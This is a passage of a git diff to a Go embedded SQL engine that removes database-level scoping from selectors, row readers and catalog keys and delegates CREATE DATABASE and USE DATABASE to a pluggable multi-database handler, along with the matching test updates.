row.ValuesBySelector["(db1.columns.type)"].RawValue()) - require.Equal(t, int64(256), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) - require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) + require.Equal(t, "mytable1", row.ValuesBySelector["(columns.table)"].RawValue()) + require.Equal(t, "title", row.ValuesBySelector["(columns.name)"].RawValue()) + require.Equal(t, VarcharType, row.ValuesBySelector["(columns.type)"].RawValue()) + require.Equal(t, int64(256), row.ValuesBySelector["(columns.max_length)"].RawValue()) + require.True(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -6074,39 +5819,39 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].RawValue()) - require.Equal(t, "id", row.ValuesBySelector["(db1.columns.name)"].RawValue()) - require.Equal(t, IntegerType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) - require.Equal(t, int64(8), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) - require.False(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(columns.table)"].RawValue()) + require.Equal(t, "id", row.ValuesBySelector["(columns.name)"].RawValue()) + require.Equal(t, IntegerType, row.ValuesBySelector["(columns.type)"].RawValue()) + require.Equal(t, int64(8), row.ValuesBySelector["(columns.max_length)"].RawValue()) + require.False(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].RawValue()) - require.Equal(t, "name", row.ValuesBySelector["(db1.columns.name)"].RawValue()) - require.Equal(t, VarcharType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) - require.Equal(t, int64(100), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) - require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(columns.table)"].RawValue()) + require.Equal(t, "name", row.ValuesBySelector["(columns.name)"].RawValue()) + require.Equal(t, VarcharType, row.ValuesBySelector["(columns.type)"].RawValue()) + require.Equal(t, int64(100), row.ValuesBySelector["(columns.max_length)"].RawValue()) + require.True(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) - require.Equal(t, "mytable2", row.ValuesBySelector["(db1.columns.table)"].RawValue()) - require.Equal(t, "active", row.ValuesBySelector["(db1.columns.name)"].RawValue()) - require.Equal(t, BooleanType, row.ValuesBySelector["(db1.columns.type)"].RawValue()) - require.Equal(t, int64(1), row.ValuesBySelector["(db1.columns.max_length)"].RawValue()) - require.True(t, row.ValuesBySelector["(db1.columns.nullable)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.auto_increment)"].RawValue().(bool)) - require.True(t, row.ValuesBySelector["(db1.columns.indexed)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.primary)"].RawValue().(bool)) - require.False(t, row.ValuesBySelector["(db1.columns.unique)"].RawValue().(bool)) + require.Equal(t, "mytable2", row.ValuesBySelector["(columns.table)"].RawValue()) + require.Equal(t, "active", row.ValuesBySelector["(columns.name)"].RawValue()) + require.Equal(t, BooleanType, row.ValuesBySelector["(columns.type)"].RawValue()) + require.Equal(t, int64(1), row.ValuesBySelector["(columns.max_length)"].RawValue()) + require.True(t, row.ValuesBySelector["(columns.nullable)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.auto_increment)"].RawValue().(bool)) + require.True(t, row.ValuesBySelector["(columns.indexed)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.primary)"].RawValue().(bool)) + require.False(t, row.ValuesBySelector["(columns.unique)"].RawValue().(bool)) _, err = r.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) @@ -6448,8 +6193,6 @@ func TestConcurrentInsertions(t *testing.T) { require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, ` - CREATE DATABASE db1; - USE DATABASE db1; CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id); CREATE INDEX ON table1 (title); `, nil) @@ -6531,12 +6274,6 @@ func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *s engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) - require.NoError(t, err) - - _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) - require.NoError(t, err) - return engine, st } @@ -6606,10 +6343,10 @@ func TestCopyCatalogToTx(t *testing.T) { v2Val, }, ValuesBySelector: map[string]TypedValue{ - EncodeSelector("", "db1", table, "id"): idVal, - EncodeSelector("", "db1", table, "name"): v1Val, - EncodeSelector("", "db1", table, "amount"): v3Val, - EncodeSelector("", "db1", table, "surname"): v2Val, + EncodeSelector("", table, "id"): idVal, + EncodeSelector("", table, "name"): v1Val, + EncodeSelector("", table, "amount"): v3Val, + EncodeSelector("", table, "surname"): v2Val, }, } } diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index a35ec44d99..9064483e0a 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -42,7 +42,7 @@ func newGroupedRowReader(rowReader RowReader, selectors []Selector, groupBy []*C // TODO: leverage multi-column indexing if len(groupBy) == 1 && - rowReader.OrderBy()[0].Selector() != EncodeSelector(groupBy[0].resolve(rowReader.Database(), rowReader.TableAlias())) { + rowReader.OrderBy()[0].Selector() != EncodeSelector(groupBy[0].resolve(rowReader.TableAlias())) { return nil, ErrLimitedGroupBy } @@ -61,10 +61,6 @@ func (gr *groupedRowReader) Tx() *SQLTx { return gr.rowReader.Tx() } -func (gr *groupedRowReader) Database() string { - return gr.rowReader.Database() -} - func (gr *groupedRowReader) TableAlias() string { return gr.rowReader.TableAlias() } @@ -86,7 +82,7 @@ func (gr *groupedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error colsByPos := make([]ColDescriptor, len(gr.selectors)) for i, sel := range gr.selectors { - encSel := EncodeSelector(sel.resolve(gr.rowReader.Database(), gr.rowReader.TableAlias())) + encSel := EncodeSelector(sel.resolve(gr.rowReader.TableAlias())) colsByPos[i] = colsBySel[encSel] } @@ -100,18 +96,17 @@ func (gr *groupedRowReader) colsBySelector(ctx context.Context) (map[string]ColD } for _, sel := range gr.selectors { - aggFn, db, table, col := sel.resolve(gr.rowReader.Database(), gr.rowReader.TableAlias()) + aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) if aggFn == "" { continue } des := ColDescriptor{ - AggFn: aggFn, - Database: db, - Table: table, - Column: col, - Type: IntegerType, + AggFn: aggFn, + Table: table, + Column: col, + Type: IntegerType, } encSel := des.Selector() @@ -121,7 +116,7 @@ func (gr *groupedRowReader) colsBySelector(ctx context.Context) (map[string]ColD continue } - colDesc, ok := colDescriptors[EncodeSelector("", db, table, col)] + colDesc, ok := colDescriptors[EncodeSelector("", table, col)] if !ok { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, col) } @@ -202,8 +197,8 @@ func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { } for i, sel := range gr.selectors { - aggFn, db, table, col := sel.resolve(gr.rowReader.Database(), gr.rowReader.TableAlias()) - encSel := EncodeSelector(aggFn, db, table, col) + aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) + encSel := EncodeSelector(aggFn, table, col) var zero TypedValue if aggFn == COUNT { @@ -245,7 +240,7 @@ func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { continue } - compatible, err := gr.currRow.compatible(row, gr.groupBy, gr.rowReader.Database(), gr.rowReader.TableAlias()) + compatible, err := gr.currRow.compatible(row, gr.groupBy, gr.rowReader.TableAlias()) if err != nil { return nil, err } @@ -293,9 +288,9 @@ func (gr *groupedRowReader) Read(ctx context.Context) (*Row, error) { func (gr *groupedRowReader) initAggregations() error { // augment row with aggregated values for _, sel := range gr.selectors { - aggFn, db, table, col := sel.resolve(gr.rowReader.Database(), gr.rowReader.TableAlias()) + aggFn, table, col := sel.resolve(gr.rowReader.TableAlias()) - encSel := EncodeSelector(aggFn, db, table, col) + encSel := EncodeSelector(aggFn, table, col) var v TypedValue @@ -306,34 +301,34 @@ func (gr *groupedRowReader) initAggregations() error { return ErrLimitedCount } - v = &CountValue{sel: EncodeSelector("", db, table, col)} + v = &CountValue{sel: EncodeSelector("", table, col)} } case SUM: { v = &SumValue{ val: &NullValue{t: AnyType}, - sel: EncodeSelector("", db, table, col), + sel: EncodeSelector("", table, col), } } case MIN: { v = &MinValue{ val: &NullValue{t: AnyType}, - sel: EncodeSelector("", db, table, col), + sel: EncodeSelector("", table, col), } } case MAX: { v = &MaxValue{ val: &NullValue{t: AnyType}, - sel: EncodeSelector("", db, table, col), + sel: EncodeSelector("", table, col), } } case AVG: { v = &AVGValue{ s: &NullValue{t: AnyType}, - sel: EncodeSelector("", db, table, col), + sel: EncodeSelector("", table, col), } } default: diff --git a/embedded/sql/grouped_row_reader_test.go b/embedded/sql/grouped_row_reader_test.go index 11af64d487..af5e590045 100644 --- a/embedded/sql/grouped_row_reader_test.go +++ b/embedded/sql/grouped_row_reader_test.go @@ -37,10 +37,7 @@ func TestGroupedRowReader(t *testing.T) { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - db, err := tx.catalog.newDatabase(1, "db1") - require.NoError(t, err) - - table, err := db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}}) + table, err := tx.catalog.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}}) require.NoError(t, err) index, err := table.newIndex(true, []uint32{1}) diff --git a/embedded/sql/joint_row_reader.go b/embedded/sql/joint_row_reader.go index f27f56fb53..37055652b7 100644 --- a/embedded/sql/joint_row_reader.go +++ b/embedded/sql/joint_row_reader.go @@ -61,10 +61,6 @@ func (jointr *jointRowReader) Tx() *SQLTx { return jointr.rowReader.Tx() } -func (jointr *jointRowReader) Database() string { - return jointr.rowReader.Database() -} - func (jointr *jointRowReader) TableAlias() string { return jointr.rowReader.TableAlias() } @@ -167,7 +163,7 @@ func (jointr *jointRowReader) InferParameters(ctx context.Context, params map[st return err } - _, err = join.cond.inferType(cols, params, jointr.Database(), jointr.TableAlias()) + _, err = join.cond.inferType(cols, params, jointr.TableAlias()) if err != nil { return err } @@ -233,7 +229,7 @@ func (jointr *jointRowReader) Read(ctx context.Context) (row *Row, err error) { jointq := &SelectStmt{ ds: jspec.ds, - where: jspec.cond.reduceSelectors(row, jointr.Database(), jointr.TableAlias()), + where: jspec.cond.reduceSelectors(row, jointr.TableAlias()), indexOn: jspec.indexOn, } diff --git a/embedded/sql/joint_row_reader_test.go b/embedded/sql/joint_row_reader_test.go index d3b59f7a85..599e4ea7d4 100644 --- a/embedded/sql/joint_row_reader_test.go +++ b/embedded/sql/joint_row_reader_test.go @@ -38,13 +38,7 @@ func TestJointRowReader(t *testing.T) { tx, err := engine.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) - db, err := tx.catalog.newDatabase(1, "db1") - require.NoError(t, err) - - err = tx.useDatabase("db1") - require.NoError(t, err) - - table, err := db.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "number", colType: IntegerType}}) + table, err := tx.catalog.newTable("table1", []*ColSpec{{colName: "id", colType: IntegerType}, {colName: "number", colType: IntegerType}}) require.NoError(t, err) index, err := table.newIndex(true, []uint32{1}) diff --git a/embedded/sql/limit_row_reader.go b/embedded/sql/limit_row_reader.go index 7f8b305277..e829a225fc 100644 --- a/embedded/sql/limit_row_reader.go +++ b/embedded/sql/limit_row_reader.go @@ -40,10 +40,6 @@ func (lr *limitRowReader) Tx() *SQLTx { return lr.rowReader.Tx() } -func (lr *limitRowReader) Database() string { - return lr.rowReader.Database() -} - func (lr *limitRowReader) TableAlias() string { return lr.rowReader.TableAlias() } diff --git a/embedded/sql/limit_row_reader_test.go b/embedded/sql/limit_row_reader_test.go index 07e9b8d115..710616e7d8 100644 --- a/embedded/sql/limit_row_reader_test.go +++ b/embedded/sql/limit_row_reader_test.go @@ -27,8 +27,6 @@ func TestLimitRowReader(t *testing.T) { dummyr := &dummyRowReader{failReturningColumns: false} rowReader := newLimitRowReader(dummyr, 1) - - require.Equal(t, dummyr.Database(), rowReader.Database()) require.Equal(t, dummyr.TableAlias(), rowReader.TableAlias()) require.Equal(t, dummyr.OrderBy(), rowReader.OrderBy()) require.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs()) diff --git a/embedded/sql/offset_row_reader.go b/embedded/sql/offset_row_reader.go index c88b97faff..39b994eb55 100644 --- a/embedded/sql/offset_row_reader.go +++ b/embedded/sql/offset_row_reader.go @@ -40,10 +40,6 @@ func (r *offsetRowReader) Tx() *SQLTx { return r.rowReader.Tx() } -func (r *offsetRowReader) Database() string { - return r.rowReader.Database() -} - func (r *offsetRowReader) TableAlias() string { return r.rowReader.TableAlias() } diff --git a/embedded/sql/offset_row_reader_test.go b/embedded/sql/offset_row_reader_test.go index 3f267e4908..7176b41341 100644 --- a/embedded/sql/offset_row_reader_test.go +++ b/embedded/sql/offset_row_reader_test.go @@ -27,8 +27,6 @@ func TestOffsetRowReader(t *testing.T) { dummyr := &dummyRowReader{failReturningColumns: false} rowReader := newOffsetRowReader(dummyr, 1) - - require.Equal(t, dummyr.Database(), rowReader.Database()) require.Equal(t, dummyr.TableAlias(), rowReader.TableAlias()) require.Equal(t, dummyr.OrderBy(), rowReader.OrderBy()) require.Equal(t, dummyr.ScanSpecs(), rowReader.ScanSpecs()) diff --git a/embedded/sql/options.go b/embedded/sql/options.go index 43df3047cb..6e7e32c16c 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -28,6 +28,8 @@ type Options struct { prefix []byte distinctLimit int autocommit bool + + multidbHandler MultiDBHandler } func DefaultOptions() *Options { @@ -62,3 +64,8 @@ func (opts *Options) WithAutocommit(autocommit bool) *Options { opts.autocommit = autocommit return opts } + +func (opts *Options) WithMultiDBHandler(multidbHandler MultiDBHandler) *Options { + opts.multidbHandler = multidbHandler + return opts +} diff --git a/embedded/sql/proj_row_reader.go b/embedded/sql/proj_row_reader.go index 82541ffe6f..79f4ecc066 100644 --- a/embedded/sql/proj_row_reader.go +++ b/embedded/sql/proj_row_reader.go @@ -39,7 +39,6 @@ func newProjectedRowReader(ctx context.Context, rowReader RowReader, tableAlias for _, col := range cols { sel := &ColSelector{ - db: col.Database, table: col.Table, col: col.Column, } @@ -62,10 +61,6 @@ func (pr *projectedRowReader) Tx() *SQLTx { return pr.rowReader.Tx() } -func (pr *projectedRowReader) Database() string { - return pr.rowReader.Database() -} - func (pr *projectedRowReader) TableAlias() string { if pr.tableAlias == "" { return pr.rowReader.TableAlias() @@ -91,10 +86,9 @@ func (pr *projectedRowReader) Columns(ctx context.Context) ([]ColDescriptor, err colsByPos := make([]ColDescriptor, len(pr.selectors)) for i, sel := range pr.selectors { - aggFn, db, table, col := sel.resolve(pr.rowReader.Database(), pr.rowReader.TableAlias()) + aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) if pr.tableAlias != "" { - db = pr.Database() table = pr.tableAlias } @@ -111,10 +105,9 @@ func (pr *projectedRowReader) Columns(ctx context.Context) ([]ColDescriptor, err } colsByPos[i] = ColDescriptor{ - AggFn: aggFn, - Database: db, - Table: table, - Column: col, + AggFn: aggFn, + Table: table, + Column: col, } encSel := colsByPos[i].Selector() @@ -134,9 +127,9 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co colDescriptors := make(map[string]ColDescriptor, len(pr.selectors)) for i, sel := range pr.selectors { - aggFn, db, table, col := sel.resolve(pr.rowReader.Database(), pr.rowReader.TableAlias()) + aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) - encSel := EncodeSelector(aggFn, db, table, col) + encSel := EncodeSelector(aggFn, table, col) colDesc, ok := dsColDescriptors[encSel] if !ok { @@ -144,7 +137,6 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co } if pr.tableAlias != "" { - db = pr.Database() table = pr.tableAlias } @@ -161,11 +153,10 @@ func (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]Co } des := ColDescriptor{ - AggFn: aggFn, - Database: db, - Table: table, - Column: col, - Type: colDesc.Type, + AggFn: aggFn, + Table: table, + Column: col, + Type: colDesc.Type, } colDescriptors[des.Selector()] = des @@ -194,9 +185,9 @@ func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { } for i, sel := range pr.selectors { - aggFn, db, table, col := sel.resolve(pr.rowReader.Database(), pr.rowReader.TableAlias()) + aggFn, table, col := sel.resolve(pr.rowReader.TableAlias()) - encSel := EncodeSelector(aggFn, db, table, col) + encSel := EncodeSelector(aggFn, table, col) val, ok := row.ValuesBySelector[encSel] if !ok { @@ -204,7 +195,6 @@ func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { } if pr.tableAlias != "" { - db = pr.Database() table = pr.tableAlias } @@ -221,7 +211,7 @@ func (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) { } prow.ValuesByPosition[i] = val - prow.ValuesBySelector[EncodeSelector(aggFn, db, table, col)] = val + prow.ValuesBySelector[EncodeSelector(aggFn, table, col)] = val } return prow, nil diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 45bc34035d..85b32299f7 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -28,7 +28,6 @@ import ( type RowReader interface { Tx() *SQLTx - Database() string TableAlias() string Parameters() map[string]interface{} Read(ctx context.Context) (*Row, error) @@ -53,9 +52,9 @@ type Row struct { } // rows are selector-compatible if both rows have the same assigned value for all specified selectors -func (row *Row) compatible(aRow *Row, selectors []*ColSelector, db, table string) (bool, error) { +func (row *Row) compatible(aRow *Row, selectors []*ColSelector, table string) (bool, error) { for _, sel := range selectors { - c := EncodeSelector(sel.resolve(db, table)) + c := EncodeSelector(sel.resolve(table)) val1, ok := row.ValuesBySelector[c] if !ok { @@ -135,15 +134,14 @@ type txRange struct { } type ColDescriptor struct { - AggFn string - Database string - Table string - Column string - Type SQLValueType + AggFn string + Table string + Column string + Type SQLValueType } func (d *ColDescriptor) Selector() string { - return EncodeSelector(d.AggFn, d.Database, d.Table, d.Column) + return EncodeSelector(d.AggFn, d.Table, d.Column) } func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, period period, tableAlias string, scanSpecs *ScanSpecs) (*rawRowReader, error) { @@ -170,10 +168,9 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per for i, c := range table.Cols() { colDescriptor := ColDescriptor{ - Database: table.db.name, - Table: tableAlias, - Column: c.colName, - Type: c.colType, + Table: tableAlias, + Column: c.colName, + Type: c.colType, } colsByPos[i] = colDescriptor @@ -194,7 +191,7 @@ func newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, per } func keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (spec *store.KeyReaderSpec, err error) { - prefix := mapKey(sqlPrefix, scanSpecs.Index.prefix(), EncodeID(table.db.id), EncodeID(table.id), EncodeID(scanSpecs.Index.id)) + prefix := mapKey(sqlPrefix, scanSpecs.Index.prefix(), EncodeID(1), EncodeID(table.id), EncodeID(scanSpecs.Index.id)) var loKey []byte var loKeyReady bool @@ -271,10 +268,6 @@ func (r *rawRowReader) Tx() *SQLTx { return r.tx } -func (r *rawRowReader) Database() string { - return r.table.db.name -} - func (r *rawRowReader) TableAlias() string { return r.tableAlias } @@ -284,10 +277,9 @@ func (r *rawRowReader) OrderBy() []ColDescriptor { for i, col := range r.scanSpecs.Index.cols { cols[i] = ColDescriptor{ - Database: r.table.db.name, - Table: r.tableAlias, - Column: col.colName, - Type: col.colType, + Table: r.tableAlias, + Column: col.colName, + Type: col.colType, } } @@ -321,14 +313,14 @@ func (r *rawRowReader) InferParameters(ctx context.Context, params map[string]SQ } if r.period.start != nil { - _, err = r.period.start.instant.exp.inferType(cols, params, r.Database(), r.TableAlias()) + _, err = r.period.start.instant.exp.inferType(cols, params, r.TableAlias()) if err != nil { return err } } if r.period.end != nil { - _, err = r.period.end.instant.exp.inferType(cols, params, r.Database(), r.TableAlias()) + _, err = r.period.end.instant.exp.inferType(cols, params, r.TableAlias()) if err != nil { return err } @@ -424,7 +416,7 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { } } - vref, err = r.tx.get(mapKey(r.tx.engine.prefix, PIndexPrefix, EncodeID(r.table.db.id), EncodeID(r.table.id), EncodeID(PKIndexID), encPKVals)) + vref, err = r.tx.get(mapKey(r.tx.engine.prefix, PIndexPrefix, EncodeID(1), EncodeID(r.table.id), EncodeID(PKIndexID), encPKVals)) if err != nil { return nil, err } @@ -442,7 +434,7 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { v := &NullValue{t: col.colType} valuesByPosition[i] = v - valuesBySelector[EncodeSelector("", r.table.db.name, r.tableAlias, col.colName)] = v + valuesBySelector[EncodeSelector("", r.tableAlias, col.colName)] = v } if len(v) < EncLenLen { @@ -475,7 +467,7 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { voff += n valuesByPosition[i] = val - valuesBySelector[EncodeSelector("", r.table.db.name, r.tableAlias, col.colName)] = val + valuesBySelector[EncodeSelector("", r.tableAlias, col.colName)] = val } if len(v)-voff > 0 { diff --git a/embedded/sql/row_reader_test.go b/embedded/sql/row_reader_test.go index 8d19ace595..f4f43f92b5 100644 --- a/embedded/sql/row_reader_test.go +++ b/embedded/sql/row_reader_test.go @@ -24,12 +24,8 @@ import ( func TestKeyReaderSpecFromCornerCases(t *testing.T) { prefix := []byte("key.prefix.") - db := &Database{ - id: 1, - } table := &Table{ id: 2, - db: db, } index := &Index{ table: table, diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 2c89ba8124..bf500a0c57 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -568,7 +568,7 @@ selector: | AGGREGATE_FUNC '(' col ')' { - $$ = &AggColSelector{aggFn: $1, db: $3.db, table: $3.table, col: $3.col} + $$ = &AggColSelector{aggFn: $1, table: $3.table, col: $3.col} } col: diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index cd303f715f..d1e23bbd0c 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -1206,7 +1206,7 @@ yydefault: case 82: yyDollar = yyS[yypt-4 : yypt+1] { - yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, db: yyDollar[3].col.db, table: yyDollar[3].col.table, col: yyDollar[3].col.col} + yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } case 83: yyDollar = yyS[yypt-1 : yypt+1] diff --git a/embedded/sql/sql_tx.go b/embedded/sql/sql_tx.go index 1029fe5d7c..a8f77bb578 100644 --- a/embedded/sql/sql_tx.go +++ b/embedded/sql/sql_tx.go @@ -32,8 +32,7 @@ type SQLTx struct { tx *store.OngoingTx - currentDB *Database - catalog *Catalog // in-mem catalog + catalog *Catalog // in-mem catalog mutatedCatalog bool // set when a DDL stmt was executed within the current tx @@ -65,21 +64,6 @@ func (sqlTx *SQLTx) RequireExplicitClose() error { return nil } -func (sqlTx *SQLTx) useDatabase(dbName string) error { - db, err := sqlTx.catalog.GetDatabaseByName(dbName) - if err != nil { - return err - } - - sqlTx.currentDB = db - - return nil -} - -func (sqlTx *SQLTx) Database() *Database { - return sqlTx.currentDB -} - func (sqlTx *SQLTx) Timestamp() time.Time { return sqlTx.tx.Timestamp() } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index e53c9fb6b5..96e5c70b04 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -31,13 +31,13 @@ import ( ) const ( - catalogDatabasePrefix = "CTL.DATABASE." // (key=CTL.DATABASE.{dbID}, value={dbNAME}) - catalogTablePrefix = "CTL.TABLE." // (key=CTL.TABLE.{dbID}{tableID}, value={tableNAME}) - catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{dbID}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) - catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{dbID}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) - PIndexPrefix = "R." // (key=R.{dbID}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) - SIndexPrefix = "E." // (key=E.{dbID}{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+, value={}) - UIndexPrefix = "N." // (key=N.{dbID}{tableID}{indexID}({null}({val}{padding}{valLen})?)+, value={({pkVal}{padding}{pkValLen})+}) + //catalogDatabasePrefix = "CTL.DATABASE." // (key=CTL.DATABASE.{1}, value={dbNAME}) // deprecated entries + catalogTablePrefix = "CTL.TABLE." // (key=CTL.TABLE.{1}{tableID}, value={tableNAME}) + catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) + catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) + PIndexPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) + SIndexPrefix = "E." // (key=E.{1}{tableID}{indexID}({null}({val}{padding}{valLen})?)+({pkVal}{padding}{pkValLen})+, value={}) + UIndexPrefix = "N." // (key=N.{1}{tableID}{indexID}({null}({val}{padding}{valLen})?)+, value={({pkVal}{padding}{pkValLen})+}) // Old prefixes that must not be reused: // `CATALOG.DATABASE.` @@ -205,28 +205,11 @@ func (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params ma return nil, fmt.Errorf("%w: database creation can not be done within a transaction", ErrNonTransactionalStmt) } - if tx.engine.multidbHandler != nil { - return nil, tx.engine.multidbHandler.CreateDatabase(ctx, stmt.DB, stmt.ifNotExists) - } - - id := uint32(len(tx.catalog.dbsByID) + 1) - - db, err := tx.catalog.newDatabase(id, stmt.DB) - if err == ErrDatabaseAlreadyExists && stmt.ifNotExists { - return tx, nil - } - if err != nil { - return nil, err - } - - err = tx.set(mapKey(tx.sqlPrefix(), catalogDatabasePrefix, EncodeID(db.id)), nil, []byte(stmt.DB)) - if err != nil { - return nil, err + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler } - tx.mutatedCatalog = true - - return tx, nil + return nil, tx.engine.multidbHandler.CreateDatabase(ctx, stmt.DB, stmt.ifNotExists) } type UseDatabaseStmt struct { @@ -246,20 +229,11 @@ func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, fmt.Errorf("%w: database selection can NOT be executed within a transaction block", ErrNonTransactionalStmt) } - if tx.engine.multidbHandler != nil { - return tx, tx.engine.multidbHandler.UseDatabase(ctx, stmt.DB) - } - - _, exists := tx.catalog.dbsByName[stmt.DB] - if !exists { - return nil, ErrDatabaseDoesNotExist + if tx.engine.multidbHandler == nil { + return nil, ErrUnspecifiedMultiDBHandler } - tx.engine.mutex.Lock() - tx.engine.currentDatabase = 